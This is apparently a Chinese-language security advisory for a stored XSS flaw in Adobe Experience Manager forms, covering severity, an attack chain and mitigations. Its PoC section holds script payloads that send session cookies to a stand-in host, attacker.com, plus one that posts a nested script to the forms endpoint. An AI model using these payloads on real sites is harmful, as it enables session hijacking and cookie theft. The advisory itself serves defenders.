CVE-2025-64592 CVSS 5.4 中危

CVE-2025-64592: Adobe Experience Manager存储型XSS漏洞

披露日期: 2025-12-10

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-64592

漏洞类型

存储型跨站脚本(XSS)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Adobe Experience Manager

漏洞概述

CVE-2025-64592是Adobe Experience Manager中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响6.5.23及更早版本，允许低权限攻击者将恶意脚本注入到存在漏洞的表单字段中。当受害者浏览包含恶意脚本的页面时，攻击者注入的JavaScript代码会在受害者浏览器中执行，从而窃取会话cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。此漏洞的CVSS评分为5.4，属于中等严重程度，需要用户交互才能成功利用。由于是存储型XSS，恶意脚本会永久保存在目标服务器上，所有访问该页面的用户都会受到影响。

技术细节

Adobe Experience Manager的表单处理组件未能对用户输入进行充分的HTML转义处理。攻击者可以利用低权限账户在表单字段中注入恶意JavaScript代码，如<script>alert(document.cookie)</script>。这些恶意脚本会被存储在服务器数据库中，当其他用户访问包含该表单的页面时，浏览器会执行这些恶意代码。攻击者通常会构造窃取用户会话Cookie的payload，通过JavaScript将Cookie发送到攻击者控制的服务器。由于Adobe Experience Manager是企业级内容管理系统，常用于处理敏感业务数据，此类XSS漏洞可能导致严重的数据泄露风险。攻击者还可能利用此漏洞进行横向移动，通过获取管理员会话提升权限。

攻击链分析

STEP 1

步骤1

攻击者获取Adobe Experience Manager的低权限账户访问权限

STEP 2

步骤2

攻击者在存在漏洞的表单字段中注入恶意JavaScript代码

STEP 3

步骤3

恶意脚本被存储在服务器数据库中，未经过滤或转义

STEP 4

步骤4

受害者访问包含恶意脚本的页面

STEP 5

步骤5

受害者浏览器执行恶意JavaScript代码

STEP 6

步骤6

攻击者窃取受害者的会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<script>alert('XSS')</script>  <script> var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(cookie); </script>  <script> fetch('https://attacker.com/log?data=' + btoa(document.cookie)); </script>  <script> fetch('/content/forms/af/submit', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ data: { name: '<script>alert(document.domain)</script>', email: '[email protected]' } }) }); </script>

影响范围

Adobe Experience Manager 6.5.23及更早版本

Adobe Experience Manager 6.5.x < 6.5.24

防御指南

临时缓解措施

在官方补丁发布之前，可以采取以下临时缓解措施：1) 限制低权限用户创建或编辑表单的能力；2) 在WAF(Web应用防火墙)中配置XSS防护规则；3) 启用HTTPOnly和Secure标志保护Cookie；4) 对关键操作实施额外的身份验证；5) 监控和审计表单提交日志，及时发现异常行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表